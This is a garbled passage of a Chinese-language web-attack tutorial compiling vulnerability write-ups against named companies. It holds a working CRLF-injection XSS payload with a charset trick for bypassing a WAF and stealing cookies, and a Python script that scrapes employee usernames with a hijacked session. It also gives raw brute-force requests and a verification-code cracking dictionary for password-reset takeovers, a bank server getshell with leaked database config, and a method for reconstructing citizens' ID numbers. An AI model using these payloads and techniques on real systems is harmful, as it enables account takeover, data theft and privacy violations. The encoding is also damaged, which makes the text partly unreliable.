payweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a%0d%0a%0d%0a<imgsrc=1>發(fā)現(xiàn)返回為空,不過(guò)這種類型的漏洞很好利用的原因在于我們可以在返回的頭部中HTTP頭部信息,因此試著加入Content-Length,就可以發(fā)現(xiàn)返回的內(nèi)容里出現(xiàn)了img標(biāo)簽!/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a%0d%0aContent-Length:60%0d%0a%0d%0a%3Cimg%20src=1%3E返回內(nèi)容如下:<HTTP/1.1200OK<Server:nginx/1.6.0<Date:Sat,30Jan201612:15:03GMT<Content-Type:text/html;charset=gbk<Content-Length:60<Connection:keep-alive<Cache-Control:no-cache,must-revalidate<Set-Cookie:pass_ticket=a<<imgsrc=1>;Domain=;Path=/;Expires=Sun,31-J接下來(lái)就是關(guān)鍵的一個(gè)步驟,插入js代碼了!不過(guò)這里有WAF,我花了兩天的時(shí)間都繞不過(guò)去,PM@mramydnei之后得到了他的強(qiáng)力支援,提供思路及bypass的例子:大概原理就是:1.插入Content-Type更改response中的charset2.選擇一個(gè)字符集,保證該字符集中的某個(gè)字符或字符串會(huì)被瀏覽器忽略(也可以是unicodetransform)3.將會(huì)被忽略的字符插入到被blacklist攔截的字符之間4.done/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a%0D%0AContent-Length:120%0D%0AContent-Type:text/html;%20charset=ISO-2022-JP%0D%0A%0D%0A%3Cimg%20src=x%20on%1B%28Jerror=al%1B%28Jert%28document.domain%29%3E(看到他的回復(fù)的時(shí)候,我感動(dòng)得留下了淚水,那是我逝去的青春,“讓你不好好學(xué)習(xí)!”)有bypassWAF的方式之后,之后一切問(wèn)題都變得簡(jiǎn)單了,用X-XSS-Protection:0關(guān)閉瀏覽器的XSS過(guò)濾,想執(zhí)行什么的代碼發(fā)現(xiàn)被攔截了就用M神的方式bypass。最終的Payload:/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a%0D%0AContent-Length:120%0D%0AX-XSS-Protection:0%0D%0AContent-Type:text/html;%20charset=ISO-2022-JP%0D%0A%0D%0A%3Cimg%20src=x%20on%1B%28Jerror=%22al%1B%28Jert%28document.co%1B%28Jokie%29%22%3E點(diǎn)擊之后,彈Cookie修復(fù)方案:過(guò)濾CRLF存儲(chǔ)型XSS攻擊者提供一個(gè)惡意負(fù)載輸入并在后臺(tái)保存一段時(shí)間,一旦用戶訪問(wèn)含惡意程序的網(wǎng)頁(yè)文件便形成有效攻擊。富文本輸入空間,都有存儲(chǔ)型XSS的漏洞隱患,最嚴(yán)重可能導(dǎo)致XSS蠕蟲。案例:華夏航空某系統(tǒng)存儲(chǔ)型XSS漏洞(已登錄系統(tǒng))6:8083/SMS/自愿報(bào)告出可直接插入xss6:8083/SMS/freeWill.json成功打到cookies雖然是內(nèi)網(wǎng)直接外網(wǎng)加cookies即可內(nèi)部員工賬號(hào)爬取之#coding=utf-8importrequestsimportrefromlxmlimportetreeimporttimeimportthreadingimportsyssys.getdefaultencoding()reload(sys)sys.setdefaultencoding('UTF-8')sys.getdefaultencoding()defpostcode(pageId): url="6:8083/SMS/queryCheckPerson.json" head={ 'Host':'6:8083', 'Proxy-Connection':'keep-alive', 'Content-Length':'71', 'Origin':'6:8083', 'X-Requested-With':'XMLHttpRequest', 'User-Agent':'Mozilla/5.0(WindowsNT6.1;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/38.0.2125.122Safari/537.36SE2.XMetaSr1.0', 'Content-Type':'application/x-www-form-urlencoded;charset=UTF-8', 'Accept':'*/*', 'Referer':'6:8083/SMS/choosePerson.json', 'Accept-Encoding':'gzip,deflate', 'Accept-Language':'zh-CN,zh;q=0.8', 'Cookie':'JSESSIONID******' } data="start="+pageId+"&limit=15&sort=ID&dir=ASC&dept=&role=&userRealName=&workNumber=" proxy={'http':':8080'} key=requests.post(url,headers=head,data=data,proxies=proxy) #printkey.headers calc=key.text num=re.findall('USERNAME":"(.*?)"}',calc,re.S) printnum fp1=open("C:\Users\Administrator\Desktop\\loginname.txt",'a') foriinnum: fp1.write(''.join(i.split())+'\n') print'pagespiderfull'printu'開始抓取'count=15foriinrange(0,48): pageId=count count+=15 postcode(str(count))再爆破又獲得一枚但是權(quán)限不如盲打的高rangxy/rangxy123系統(tǒng)弱口令確實(shí)少了經(jīng)過(guò)wooyun檢測(cè)一些項(xiàng)目修復(fù)方案:1.過(guò)濾XSSFuzz功能測(cè)試用的多一些,有可能一個(gè)超長(zhǎng)特殊字符串導(dǎo)致系統(tǒng)拒絕服務(wù)或者功能缺失。(當(dāng)然fuzz不單單這點(diǎn)用途。)不太符合的案例,但思路可借鑒:WooYun:建站之星模糊測(cè)試實(shí)戰(zhàn)之任意文件上傳漏洞可能會(huì)用的工具——spike密碼找回漏洞用戶憑證暴力破解四位或者六位純數(shù)字案列:當(dāng)當(dāng)網(wǎng)任意用戶密碼修改漏洞/forget_psd.php?sid=e14aa9b65e0f4d05輸入要更新帳號(hào)的手機(jī)號(hào)碼,然后提交。下一步,對(duì)驗(yàn)證碼進(jìn)行暴破,由于驗(yàn)證碼只4位。。網(wǎng)速樂(lè)觀的情況下,數(shù)分鐘就能破解出來(lái)。也不多說(shuō)了,經(jīng)測(cè)試,成功破解了數(shù)個(gè)帳號(hào)。POST/verify_fp.php?sid=e88bf0a11d2e7920HTTP/1.1Host:User-Agent:Mozilla/5.0(WindowsNT6.1;WOW64;rv:14.0)Gecko/20100101Firefox/14.0.1Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:zh-cn,zh;q=0.5Accept-Encoding:gzip,deflateConnection:keep-aliveReferer:/verify_fp.php?sid=e88bf0a11d2e7920Content-Type:application/x-www-form-urlencodedaction=verify&sid=e88bf0a11d2e7920&mobile=xxxx&verify=§v§&submit=%E6%8F%90%E4%BA%A4返回憑證url返回驗(yàn)證碼及token案例:走秀網(wǎng)秀團(tuán)任意密碼修改缺陷走秀網(wǎng)的團(tuán)購(gòu)網(wǎng)站秀團(tuán),由于應(yīng)用設(shè)計(jì)缺陷,可以造成任意密碼修改進(jìn)入秀團(tuán)登陸處,點(diǎn)忘記密碼,選擇手機(jī)號(hào)重設(shè)/account/repass.php輸入帳號(hào)的手機(jī)號(hào)碼,點(diǎn)擊獲取驗(yàn)證碼,此時(shí)注意抓包,或是使用firefox的firebug查看請(qǐng)求鏈接,將發(fā)現(xiàn)驗(yàn)證碼出現(xiàn)。。。直接輸入驗(yàn)證碼即可修改密碼。。。其實(shí),即使不出現(xiàn)此缺陷,這驗(yàn)證碼也太短時(shí),而且不會(huì)過(guò)期,暴破也不用幾分鐘時(shí)間。。暴破參考:WooYun:友寶售貨機(jī)注冊(cè)漏洞/ajax/sms.php?action=user_reset&mobile=手機(jī)號(hào)碼&verifycode=8889&time=0.39637206563755256修復(fù)方案:修,還有加強(qiáng)驗(yàn)證碼強(qiáng)度,連接輸入幾次后作廢等。暴破參考:友寶售貨機(jī)注冊(cè)漏洞友寶自動(dòng)售貨機(jī),手機(jī)注冊(cè)可以送兩張可樂(lè)券,用于購(gòu)買可樂(lè),但是服務(wù)端對(duì)注冊(cè)新手機(jī)用戶沒(méi)有嚴(yán)格限制,造成可以注冊(cè)任何手機(jī)號(hào)。友寶自動(dòng)售貨機(jī),手機(jī)注冊(cè)可以送兩張可樂(lè)券,用于購(gòu)買可樂(lè)。1、服務(wù)端對(duì)用戶提交的手機(jī)號(hào)沒(méi)有嚴(yán)格的認(rèn)證,即使是虛假的手機(jī)號(hào);2、用戶通過(guò)發(fā)送手機(jī)號(hào)注冊(cè)請(qǐng)求后,服務(wù)端會(huì)往該手機(jī)號(hào)上面發(fā)送一個(gè)4位驗(yàn)證碼;3、服務(wù)端對(duì)這個(gè)驗(yàn)證碼驗(yàn)證次數(shù)沒(méi)有限制,并且服務(wù)端對(duì)這個(gè)驗(yàn)證碼保存的時(shí)間足夠用戶暴力破解驗(yàn)證碼進(jìn)行注冊(cè)4、通過(guò)注冊(cè)送的可樂(lè)券購(gòu)買可樂(lè)5、無(wú)限注冊(cè)就能夠無(wú)限免費(fèi)購(gòu)買可樂(lè)修復(fù)方案:1、服務(wù)端嚴(yán)格驗(yàn)證手機(jī)號(hào)正確性;2、服務(wù)端設(shè)置手機(jī)驗(yàn)證碼有效期限短一些3、服務(wù)端設(shè)置手機(jī)驗(yàn)證碼驗(yàn)證次數(shù),避免惡意注冊(cè)密碼找回憑證在頁(yè)面中通過(guò)密保問(wèn)題找回密碼案例:sohu郵箱任意用戶密碼重置很簡(jiǎn)單,也非常危險(xiǎn)的漏洞,此漏洞可修改任意搜狐用戶郵箱密碼可通過(guò)搜狐登錄頁(yè)中的找回密碼功能,再點(diǎn)擊下面的“網(wǎng)上申訴”,在申訴頁(yè)面的源代碼里,不但有密碼提示問(wèn)題,Hide表單里竟然泄露問(wèn)題答案,可獲得任意用戶修改密碼問(wèn)題答案,從而輕松修改任意用戶郵箱密碼圖片是用webmaster@用戶獲得的信息,當(dāng)然我沒(méi)有修改他的密碼返回短線驗(yàn)證碼案例:新浪某站任意用戶密碼修改(驗(yàn)證碼與取回邏輯設(shè)計(jì)不當(dāng))新浪某站任意用戶密碼修改,影響大量用戶問(wèn)題網(wǎng)站/【新浪二手房】在主站登錄處點(diǎn)擊登錄隨后點(diǎn)擊忘記密碼在/login/findpassword界面輸入用戶名時(shí)抓包可以看到返回?cái)?shù)據(jù)中含有該用戶的手機(jī)號(hào)通過(guò)解密,得到此用戶shenzhen的手機(jī)號(hào)為182****7672在密碼找回處輸入解密后的手機(jī)號(hào),并點(diǎn)發(fā)送驗(yàn)證碼。再次抓包可見短信驗(yàn)證碼加密后返回給了瀏覽器,我們解密。得出驗(yàn)證碼為234589。成功重置密碼****************************下面就是有意思的了通過(guò)幾次測(cè)試,發(fā)現(xiàn)該網(wǎng)站的驗(yàn)證碼程序很有意思。所有驗(yàn)證碼為6位,且依次每位均比左邊一位大。比如會(huì)出現(xiàn)123456,但一定不會(huì)出現(xiàn)123465的情況。重置后的密碼也遵循此規(guī)律。另外驗(yàn)證碼第一位只會(huì)是2、3、4。****************************下面給出我的破解字典234567234568234569234579234589234578234679234678234789235789236789245678245679245689245789246789256789345678345679456789成功破出重置后的密碼為246789至此,成功登錄該用戶。修復(fù)方案:驗(yàn)證碼程序的問(wèn)題得改不要把敏感數(shù)據(jù)返回瀏覽器郵箱弱token時(shí)間戳的MD5案例:奇虎360任意用戶密碼修改漏洞奇虎360用戶通行證取回密碼存在邏輯問(wèn)題,導(dǎo)致可以修改任意用戶的密碼。怕影響別的用戶帳號(hào)安全,所以只用了3個(gè)朋友的帳號(hào)進(jìn)行測(cè)試,均成功。360的業(yè)務(wù)線也很廣了,比如360安全衛(wèi)士系統(tǒng)云備份,云盤存儲(chǔ),網(wǎng)站寶,團(tuán)購(gòu)等項(xiàng)目,利用這個(gè)sso漏洞可以通殺,危害還是很嚴(yán)重的。詳細(xì)說(shuō)明:先正常流程取回一次密碼,查看郵箱,郵件內(nèi)容類似:360個(gè)人中心找回密碼(重要)!重設(shè)密碼地址:/findpwd/setpwdfromemail?vc=c4ce4dd3d566ef83f9[馬賽克]&u=[馬賽克]%40,馬上重設(shè)密碼!如果您沒(méi)有進(jìn)行過(guò)找回密碼的操作,請(qǐng)不要點(diǎn)擊上述鏈接,并刪除此郵件。vc可以看出是一串md5,解密一下發(fā)現(xiàn)是個(gè)數(shù)字,類似1339744000,第一感覺(jué)是個(gè)id,那么遍歷id并且修改u變量是否可以修改任意用戶密碼呢,試了一下不可以,在看這個(gè)數(shù)字,感覺(jué)有點(diǎn)太大了,在看,在看,在看,怎么像是個(gè)unix時(shí)間戳呢?解開一下發(fā)現(xiàn)真的是個(gè)時(shí)間戳!那么可以大膽的猜測(cè)一下此處的流程,用戶取回密碼時(shí),產(chǎn)生一個(gè)精確的時(shí)間戳,與帳號(hào)綁定,記錄在某個(gè)密碼重置庫(kù)內(nèi),那么修改這個(gè)用戶密碼必須得知道這個(gè)時(shí)間戳才可以,看似合理,但程序員忽略了一個(gè)細(xì)節(jié),就是假如這個(gè)時(shí)間戳是新生成得,我在一定得時(shí)間段內(nèi)進(jìn)行暴力猜解,很快就可以獲取到這個(gè)有效得鏈接!寫了個(gè)exp測(cè)試一下。打開果然是修改密碼后跳到了登陸首頁(yè),用剛剛修改得密碼登陸B(tài)ingo~看看其他應(yīng)用。奇怪,不是sso,但是既然知道了密碼,so不o的無(wú)所謂啦。PS:另外發(fā)現(xiàn)了一個(gè)小小的問(wèn)題,如果某個(gè)重置密碼鏈接未使用的話,時(shí)間戳貌似不會(huì)失效,這樣給預(yù)測(cè)帶來(lái)了點(diǎn)麻煩,但這只是時(shí)間問(wèn)題。修復(fù)方案:不可預(yù)測(cè)性沒(méi)有做到位,設(shè)計(jì)之初就做錯(cuò)了,真是。。用戶名服務(wù)器時(shí)間案例:中興某網(wǎng)站任意用戶密碼重置漏洞(經(jīng)典設(shè)計(jì)缺陷案例)1.還是之前提交的那個(gè)中興的應(yīng)用之星網(wǎng)站上面有積分可以換充值卡。中興某網(wǎng)站的積分商城充值卡等禮品任意兌換漏洞2.上面還有一個(gè)任意用戶密碼重置漏洞,找回密碼鏈接的token不夠隨機(jī),貌似就是當(dāng)前時(shí)間。可以任意找回用戶的密碼而不用去查看郵箱中的找回鏈接是啥,重置別人的密碼后就可以用別人的積分在積分商城里面來(lái)?yè)Q取禮品。3.首先用2個(gè)賬號(hào)同時(shí)找回密碼來(lái)進(jìn)行對(duì)比,開2個(gè)窗口,2個(gè)賬號(hào)同時(shí)點(diǎn)擊找回密碼:4.去郵箱里面去查看找回密碼的鏈接:隨機(jī)token只相差4,我這里網(wǎng)絡(luò)有點(diǎn)卡,如果是網(wǎng)絡(luò)好,應(yīng)該只相差1-2,token輕易被猜出來(lái)。5.接下來(lái)就是用構(gòu)造的鏈接,找回密碼了:6.可以在注冊(cè)功能那塊找到已經(jīng)注冊(cè)過(guò)的郵箱,已經(jīng)注冊(cè)過(guò)的郵箱會(huì)提示一個(gè)小紅叉表示已經(jīng)被注冊(cè)過(guò):沒(méi)被注冊(cè)修復(fù)方案:增強(qiáng)隨機(jī)token用戶憑證有效性短信驗(yàn)證碼案例:青海銀行某站點(diǎn)GetShell影響少量敏感數(shù)據(jù)(手機(jī)短信驗(yàn)證碼)8:7001/反序列g(shù)etshell8:7001/bea_wls_internal/1.jsp密碼:mask區(qū)域*****ll*****jdbc:<url>jdbc:oracle:thin:@23:1521:ZXBS</url><driver-name>oracle.jdbc.xa.client.OracleXADataSource</driver-name><properties><property><name>user</name><value>WXBANK</value></property></properties><password-encrypted>{AES}BaF0Y0MtxH4JmQY5z+AQ+4a5VDvCwUxWDNhncKi1a5k=</password-encrypted>郵箱token案例:身份通任意密碼修改-泄漏大量公民信息身份通任意密碼修改-泄漏大量公民信息政府開放的可以查詢身份證信息的一個(gè)網(wǎng)站.詳細(xì)說(shuō)明:選擇使用郵箱找回密碼/regionTempAction.do?method=toForwardFindPasswordStyle使用真實(shí)信息找回密碼后.會(huì)發(fā)送一封郵件到郵箱.郵箱中得到如下鏈接/regionTempAction.do?method=resetPassword&idtagCard=用戶ID值&authcode=Go8K7yp4TWy&rtEmail=郵箱地址訪問(wèn)后可直接重置用戶密碼.輸入新密碼后提交時(shí)抓包.獲得以下內(nèi)容org.apache.struts.taglib.html.TOKEN=83accc27d5178f832d9f22a1d02bdacf&org.apache.struts.taglib.html.TOKEN=83accc27d5178f雖然有TOKEN...但是依然可以直接修改用戶ID進(jìn)行修改密碼...我隨便修改了一個(gè)用戶ID提交后得到如下信息然后使用該用戶ID進(jìn)行登陸登陸成功可以查看到他的身份證照片信息此處可以得到身份證的前三位和后三位我們通過(guò)第一個(gè)個(gè)人資料頁(yè)面可以得到此人的生日也就是說(shuō)我們只有111***19800000*111四位是需要知道的.通過(guò)個(gè)人資料頁(yè)面我們還可以得到此人的地址信息可以輕易推算出前面的三位未知11111119800000*111就只剩一位了...研究下身份證的算法就可以知道..這一位和后面的三位是有關(guān)聯(lián)的...在后面三位固定的情況.這一位也是固定的...全部身份證號(hào)碼就得到了這時(shí)我們得到了此人的真實(shí)姓名身份證號(hào)碼地址信息手機(jī)號(hào)碼還有此人的身份證照片..修復(fù)方案:讓TOKEN變的有用起來(lái)吧.重置密碼token案例:魅族的賬號(hào)系統(tǒng)內(nèi)存在漏洞可導(dǎo)致任意賬戶的密碼重置猜測(cè)主要是由于對(duì)于密碼重置模塊令牌的驗(yàn)證不嚴(yán)造成的。首先進(jìn)入這里,魅族的密碼重置模塊/forgetpwd2.然后我們需要獲取的是四種功能模塊的包,分別是發(fā)送驗(yàn)證碼,驗(yàn)證驗(yàn)證碼是否正確的,以及獲取令牌和重置密碼的,這里我都獲取好了,接下來(lái)我們直接用發(fā)送驗(yàn)證碼:POST/uc/system/vcode/sendEmailVcodeHTTP/1.1Host:Connection:keep-aliveContent-Length:64Accept:application/json,text/javascript,*/*;q=0.01Origin:X-Requested-With:XMLHttpRequestUser-Agent:Mozilla/5.0(WindowsNT6.1)AppleWebKit/537.36(KHTML,likeGecko)Chrome/31.0.1650.63Safari/537.36SE2.XMetaSr1.0Content-Type:application/x-www-form-urlencodedReferer:/uc/system/webjsp/forgetpwd/toMail?account=××××××××××××Accept-Encoding:gzip,deflate,sdchAccept-Language:zh-CN,zh;q=0.8Cookie:_fgpwdtk=AXTK4CkEUfVC_C1NDGumKyOL6r_8-5kM3oRskFNFuOjRX8Z-WKSowkbe1MkEq6uNUEqtX9fxR9wgFq9bOoEi73xsAVRurOfKThdEJiZEEeQ0ELOzCuIMJlm9YMpMQhdcQT8xwDBBRtV7z08WGayOKv0HJszxDvS3s0F0Zdx9-QM*7MF-nQFGcjtSDNYJejrxOkDzzkQ5FE3WbW0o7UoYJw5GNswWeGpzqQCFbdxcT_rLeVU4_l_MIS2c8C_NpSiowUz7LMNB3RG5mmu3InK7R9qAfPpI4Cb5hMh5Ynq13Vv11y46d4LW-AaGqon48D06CA;JSESSIONID=m11ira64bg3rb4n5u6oi1oln46memail=glzjin%40&vCodeTypeValue=8&account=××××××××××××驗(yàn)證驗(yàn)證碼是否正確:POST/uc/system/vcode/isValidEmailVCodeForForgetPwdHTTP/1.1Host:Connection:keep-aliveContent-Length:77Accept:application/json,text/javascript,*/*;q=0.01Origin:X-Requested-With:XMLHttpRequestUser-Agent:Mozilla/5.0(WindowsNT6.1)AppleWebKit/537.36(KHTML,likeGecko)Chrome/31.0.1650.63Safari/537.36SE2.XMetaSr1.0Content-Type:application/x-www-form-urlencodedReferer:/uc/system/webjsp/forgetpwd/toMail?account=×××××××××××Accept-Encoding:gzip,deflate,sdchAccept-Language:zh-CN,zh;q=0.8Cookie:_fgpwdtk=AXTK4CkEUfVC_C1NDGumKyOL6r_8-5kM3oRskFNFuOjRX8Z-WKSowkbe1MkEq6uNUEqtX9fxR9wgFq9bOoEi73xsAVRurOfKThdEJiZEEeQ0ELOzCuIMJlm9YMpMQhdcQT8xwDBBRtV7z08WGayOKv0HJszxDvS3s0F0Zdx9-QM*7MF-nQFGcjtSDNYJejrxOkDzzkQ5FE3WbW0o7UoYJw5GNswWeGpzqQCFbdxcT_rLeVU4_l_MIS2c8C_NpSiowUz7LMNB3RG5mmu3InK7R9qAfPpI4Cb5hMh5Ynq13Vv11y46d4LW-AaGqon48D06CA;JSESSIONID=m11ira64bg3rb4n5u6oi1oln46maccount=×××××××××××&vCodeTypeValue=8&email=glzjin%40&vcode=707054獲取令牌:POST/security/resubmit/token/getHTTP/1.1Host:Connection:keep-aliveContent-Length:0Accept:application/json,text/javascript,*/*;q=0.01Origin:X-Requested-With:XMLHttpRequestUser-Agent:Mozilla/5.0(WindowsNT6.1)AppleWebKit/537.36(KHTML,likeGecko)Chrome/31.0.1650.63Safari/537.36SE2.XMetaSr1.0Referer:/uc/system/webjsp/forgetpwd/toResetPwd?account=×××××××××××Accept-Encoding:gzip,deflate,sdchAccept-Language:zh-CN,zh;q=0.8Cookie:JSESSIONID=m11ira64bg3rb4n5u6oi1oln46m;_fgpwdtk=PUF6F7bafqhWDa7pLRN-9G8pLVkM-ZOBb4lWiGtpuE7mpSGuCe0xElXwO059Ix2M35TSAUSgLDa2ZjDCKav3_hBcJObQo4580cuHuVw9nYOxsLJzyqRR5Tuoqmf0cEYG0TstMaLoTDOl4IqMOf3epsmhdjWMBKQCaZscRQa0xfs*7MF-nQFGcjtSDNYJejrxOkDzzkQ5FE3WbW0o7UoYJw4n6yE2ipq2dz-CtbX82Vj0Oad4x92et5f9vMdPm4hHI8jUZhujmD1YhvTHdQwnP583IuC0_lbQ23FJm0i5vQhRky9fCc0moGahkWAVTl_MXA重置密碼:POST/uc/system/webjsp/forgetpwd/resetPwdHTTP/1.1Host:Connection:keep-aliveContent-Length

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論